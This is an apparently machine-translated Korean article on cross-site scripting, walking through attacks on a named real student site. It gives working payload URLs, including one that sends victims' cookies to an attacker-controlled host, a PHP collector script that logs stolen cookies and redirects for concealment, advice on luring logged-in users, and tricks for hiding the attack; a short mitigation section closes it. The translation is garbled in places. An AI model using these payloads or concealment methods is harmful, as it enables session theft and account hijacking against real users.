이 기사에서는 주로 크로스 사이트 스크립트 실행 취약점의 원인을 소개합니다. 크로스 사이트 스크립트 실행 취약점에 대한 정보는 많지 않기 때문에 일반적으로 인터넷에 대한 자세한 소개는 없습니다. 이 기사가 이러한 지식을보다 자세하게 소개 할 수 있기를 바랍니다. 다음은 잘못된 새로운 기술 채널의 편집자가 편집 한 크로스 사이트 스크립트 실행 취약점의 원인입니다. 자세히 알아 보려면 다음으로 가자!
사이드 스크립트 실행 취약성의 원인 [취약성의 원인]
CGI 프로그램이 사용자가 제출 한 변수에서 HTML 코드를 필터링하거나 변환하지 않기 때문에 그 이유는 매우 간단합니다.
【취약성 양식 ner
여기에 언급 된 양식은 실제로 CGI 입력의 형태를 의미하며, 이는 주로 두 가지 유형으로 나뉩니다.
1. 입력을 보여줍니다
2. 암시 적 입력
디스플레이 입력은 사용자가 데이터를 입력 해야하는 반면, 암시 적 입력은 사용자가 데이터를 입력 할 필요가 없지만 사용자는 데이터를 입력하여 방해 할 수 있습니다.
디스플레이 입력은 두 가지 유형으로 나눌 수 있습니다.
1. 입력이 완료되고 결과가 즉시 출력됩니다.
2. 입력이 완료되고 텍스트 파일 또는 데이터베이스에 저장된 다음 결과가 출력됩니다.
참고 : 후자는 귀하의 웹 사이트를 인식 할 수 없게 만들 수 있습니다! :(
일부 정상적인 상황 외에도 서버 또는 CGI 프로그램을 사용하여 오류 정보를 처리하여 암시 적 입력을 구현할 수도 있습니다.
【허점의 위험】
모두가 가장 걱정하는 것은 아마도이 문제 일 것입니다. 다음 목록은 포괄적이거나 체계적이지는 않지만 더 일반적이어야한다고 생각합니다.
1. 다른 사용자 쿠키에서 민감한 데이터를 얻습니다
2. 블록 페이지 특정 정보
3. 위조 페이지 정보
4. 서비스 거부 공격
5. 외부 및 내부 네트워크의 다른 보안 설정을 뚫다
6. 다른 취약점과 결합, 시스템 설정 수정, 시스템 파일보기, 시스템 명령 실행 등
7. 기타
일반적으로 위의 위험은 종종 페이지의 변형을 동반합니다. 소위 크로스 사이트 스크립트 실행 취약점은 다른 사람들의 웹 사이트를 통해 공격 효과가 달성됨을 의미합니다. 즉, 이러한 종류의 공격은 어느 정도 신원을 숨길 수 있습니다.
【사용법 method
아래에서 우리는 특정 예를 통해 위의 다양한 위험을 보여줄 것입니다. 이는 더 설명적이고 이해하기 쉽습니다. 명확한 구조를 위해서는 각 위험에 대한 실험을 수행합니다.
이러한 실험을 잘 수행하려면 패키지 캡처 소프트웨어가 필요합니다. 나는 아이리스를 사용합니다. 물론 NetXray 등과 같은 다른 소프트웨어를 선택할 수 있습니다. 특정 사용 방법은 관련 도움이나 설명서를 참조하십시오.
또한, 이해해야 할 것은 서버가 사용자가 제출 한 정보를 반환하는 한, 크로스 사이트 스크립트 실행 취약성이있을 수 있다는 것입니다.
좋아, 모든 것이 준비되었습니다. 실험을 시작합시다! :)
실험 1 : 다른 사용자의 쿠키에서 민감한 정보를 얻습니다
유명한 국내 학생 녹음 사이트 5460.net을 예로 들어 봅시다. 아래 단계를 따르십시오.
1. 홈페이지를 입력하십시오 http://www.5460.net/
2. 사용자 이름 "<H1>"을 입력하고 제출하십시오. 서버는 사용자의 제출 "<H1>"을 포함하는 정보를 반환합니다.
3. 패킷 캡처 데이터를 분석하고 실제 요청을 받으십시오.
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. 사용자 쿠키 정보를 표시 할 수 있도록 제출물을 구성하십시오.
http://www.5460.net/txl/login/login.pl?username=<script> alert(docume.cookie)</ script> & passwd = & ok.x = 28 & ok.y = 6
5. 위의 요청이 예상 효과를 얻으면 다음 요청을 시도 할 수 있습니다.
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php? "%2bdocument.cookie) </script> & OK.X = 28 & OK.Y = 6
그중 http://www.notfound.org/info.php는 제어 할 수있는 호스트의 스크립트입니다. 그 기능은 쿼리 문자열의 정보를 얻는 것이며 컨텐츠는 다음과 같습니다.
<? php
$ info = getenv ( "query_string");
if ($ info) {
$ fp = fopen ( "info.txt", "a");
fwrite ($ fp, $ info. "/n");
fclose ($ fp);
}
헤더 ( "위치 : http://www.5460.net");
참고 : "%2B"는 "+"의 URL 인코딩이며 "%2B"만 사용할 수 있습니다. "+"는 공간으로 처리되므로 여기에는 "%2B"만 사용할 수 있습니다. 다음 헤더 문장은 순전히 은폐를 증가시키기위한 것입니다.
6. 위의 URL이 올바르게 실행될 수있는 경우 다음 단계는 URL에 액세스하기 위해 5460.net에 로그인 한 사용자를 유도하는 것이며 사용자의 쿠키에서 민감한 정보를 얻을 수 있습니다.
7. 나중에하고 싶은 것은 당신에게 달려 있습니다!
실험 2 : 블록 페이지 특정 정보
우리는 여전히 5460.net을 예로 들고 있습니다. 여기에 문제가있는 CGI 프로그램이 있습니다.
http://www.5460.net/txl/liuyan/liuyansql.pl
CGI 프로그램은 사용자가 제공 한 세 가지 변수, 즉 NID, CSID 및 CNAME을 수용하지만 사용자가 제출 한 CNAME 변수를 확인하지 않습니다. 또한 CGI 프로그램은 출력 페이지의 일부로 CNAME 값을 취합니다. 5460.net의 사용자는 귀하의 이름이 메시지의 오른쪽 하단에 있음을 더 분명해야합니다.
위의 조건이 있으므로 다음과 같은 결론을 내릴 수 있습니다.
사용자는 두 메시지 사이에 모든 메시지를 "차단"할 수 있습니다!
물론 우리가 말하는 "차단"은 "삭제"가 아니며 사용자의 메시지는 여전히 존재하지만 HTML의 특성으로 인해 페이지에서 볼 수 없습니다. 물론, 소스 코드를보고 싶다면 쓸모가 없지만 CGI 보안을 연구하는 사람들은 할 일이 있든 없든 HTML 소스 코드를보고있는 사람들이 몇 명입니까?
여러 가지 이유로, 나는 여기서 구체적인 세부 사항을 발표하지 않고 원칙을 알고 있습니다.
참고 : 신중하게 생각하면 메시지를 차단할뿐만 아니라 메시지를 익명으로 남겨 둘 수 있습니까?
실험 3 : 페이지 정보 잊어 버립니다
위의 실험을 이해하면이 실험을 수행 할 필요가 없습니다. 기본 원칙은 동일하지만 구현하는 것은 조금 번거 롭습니다.
실험 4 : 서비스 거부 공격
크로스 사이트 스크립트 실행 취약점을 사용하여 서버의 동작을 어느 정도 제어 할 수 있음을 알려야합니다. 이 경우 서버를 제어하여 리소스 소비 작업을 수행 할 수 있습니다. 예를 들어, Dead Loops 또는 Open Infinite Wind 마찬가지로, 우리는 서버에 다른 서버에 리소스를 요청하도록 요청하도록 일부 스크립트를 포함시킬 수도 있습니다. 액세스 된 리소스가 더 많은 리소스를 소비하고 더 많은 방문자가있는 경우, 액세스 서버도 서비스 거부 될 수 있으며, 서비스 거부 공격은 서버에 액세스하여 신분이 숨겨 질 수 있다고 생각합니다.
실험 5 : 외부 및 내부 네트워크의 다양한 보안 설정을 깰 수 있습니다.
이것은 이해하기 쉽습니다. 일반적으로, 우리의 브라우저는 다른 지역에 대해 다른 보안 수준을 설정합니다. 예를 들어, 인터넷 영역의 경우 JavaScript 실행을 허용하지 않을 수 있지만 인트라넷 영역에서는 JavaScript 실행을 허용 할 수 있습니다. 일반적으로 전자의 보안 수준은 후자의 보안 수준보다 높습니다. 이러한 방식으로 일반적으로 다른 사람들은 악의적 인 JavaScript 스크립트를 실행하여 귀하를 공격 할 수 없지만, 귀하와 동일한 인트라넷의 서버에 크로스 사이트 스크립트 실행 취약성이있는 경우 공격자는 인트라넷 영역에 있기 때문에이를 활용할 수 있습니다.
실험 6 : 기타 취약점과 결합, 시스템 설정 수정, 시스템 파일보기, 시스템 명령 실행 등
브라우저 관련 취약점이 너무 많기 때문에 크로스 사이트 스크립트 실행 취약점과 결합 할 수있는 많은 취약점이 있습니다. 나는 모든 사람들이 이러한 문제에 대해 매우 명확해야한다고 생각합니다. IE 제목을 몇 번 수정하는 취약점, 잘못된 MIME 유형 실행 명령의 취약성 및 다양한 벌레가 모두 좋은 예입니다.
더 많은 예는 다음 링크를 참조하십시오.
인터넷 익스플로러 팝업 객체 태그 버그
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript Modeless Popup Local Denial of Service 취약성
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6은 로컬 파일을 읽을 수 있습니다
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE는 Progams를 자동으로 다운로드하여 실행할 수 있습니다
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
MSIE 다운로드 대화 상자에서 파일 확장자 스푸핑 가능
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
다른 쿠키 훔치기 버그 (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Microsoft Internet Explorer의 심각한 보안 결함 - 영역 스푸핑
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
잘못된 마임 헤더는 IE가 이메일 첨부 파일을 실행하게 할 수 있습니다.
http://www.kriptopolis.com/cua/eml.html
여기서 사이드 스크립트 실행 취약성의 역할은 실제 공격자의 신원을 숨기는 것입니다.
실험 7 : 기타
실제로, 이러한 유형의 문제는 크로스 사이트 스크립트 실행 취약점과는 거의 관련이 없지만 여전히 여기에서 언급해야합니다. 문제의 본질은 CGI 프로그램이 사용자의 제출 된 데이터를 필터링하지 않고 출력 처리를 수행한다는 것입니다. 예를 들어, SSI를 지원하는 서버의 CGI 프로그램은 사용자 제출 데이터를 출력하여 데이터를 입력하는 방법에 관계없이 SSI 명령어를 실행할 수 있습니다. 물론 이것은 클라이언트 쪽이 아닌 서버 측에서 실행됩니다. 실제로 ASP, PHP 및 PERL과 같은 CGI 언어 가이 문제를 일으킬 수 있습니다.
【숨겨진 기술】
시간을 위해, 나는 주로 여기에서 이론에 대해 이야기 할 것입니다. 이해하기 어렵지 않다고 생각합니다. 실제로 문제가 있다면이 책으로 가서 읽으십시오.
1. URL 인코딩
비교하다:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3e&passwd=&ok.x=28&ok.y=6
어느 것이 더 은폐된다고 생각하십니까? !
2. 다른 물체 아래에 숨기십시오
누군가에게 직접 링크를 제공하는 것보다 버튼 아래 링크를 숨기는 것이 낫습니까?
3. 페이지에 포함됩니다
다른 사람들이 주소에 액세스하는 것이 훨씬 쉽습니까 (여기서 주소가 위에서 언급 한 URL과 다릅니다). Iframe의 도움 으로이 공격을 더 숨길 수 있습니다.
4. 이벤트의 합리적 사용
이벤트의 합리적인 사용은 며칠 전에 보안 포커스의 크로스 사이트 스크립트 실행 취약성과 같은 CGI 프로그램의 입력 제한을 경우에 따라 우회 할 수 있습니다.
【지침】
일반적으로 <cript> alert (document.cookie) </script>와 같은 공격을 직접 수행하는 데 아무런 문제가 없지만 때로는 CGI 프로그램이 ''또는 ''포함하는 사용자 입력을 처리합니다. 현재 이러한 제한 사항을 우회하기 위해 몇 가지 트릭을 사용해야합니다.
HTML 언어에 익숙하다면 이러한 제한을 우회하는 데 문제가되지 않아야합니다.
【해결책】
크로스 사이트 스크립트 실행 취약점에 의해 공격을 피하려면 프로그래머와 사용자 모두 함께 작업해야합니다.
프로그램 제작자:
1. 사용자가 제출 한 데이터에서 HTML 코드를 필터링하거나 변환합니다
2. 사용자가 제출 한 데이터 길이를 제한합니다
사용자:
1. 다른 사람들이 제공하는 링크에 쉽게 액세스하지 못합니다
2. JavaScript 및 ActiveX 코드를 실행하는 브라우저를 비활성화합니다
첨부 파일 : 공통 브라우저 수정 설정의 위치는 다음과 같습니다.
인터넷 익스플로러 :
도구 -> 인터넷 옵션 -> 보안 -> 인터넷 -> 사용자 정의 레벨
도구 -> 인터넷 옵션 -> 보안 -> 인트라넷 -> 사용자 정의 레벨
오페라:
파일 -> 빠른 매개 변수 -> Java 허용
파일 -> 빠른 매개 변수 -> 플러그인을 사용할 수 있습니다
파일 -> 빠른 매개 변수 -> JavaScript 허용
【FAQ】
Q : 크로스 사이트 스크립트 실행 취약점은 어디에 있습니까?
A : CGI 프로그램 인 한 사용자가 입력 할 수있는 한 크로스 사이트 스크립트 실행 취약성이있을 수 있습니다.
Q : 간단한 스크립트 실행 취약점은 다른 사람들의 쿠키 만 훔칠 수 있습니까?
A : 물론 그렇지 않습니다! 모든 HTML 코드를 수행 할 수 있으며, 크로스 사이트 스크립트 실행 취약점을 수행 할 수 있습니다.
위의 기사는 크로스 사이트 스크립트 실행 취약점의 원인입니다. 나는 모든 사람이 특정한 이해를 가지고 있다고 생각합니다. 더 많은 기술 정보를 알고 싶다면 잘못된 새로운 기술 채널에 계속주의를 기울이십시오!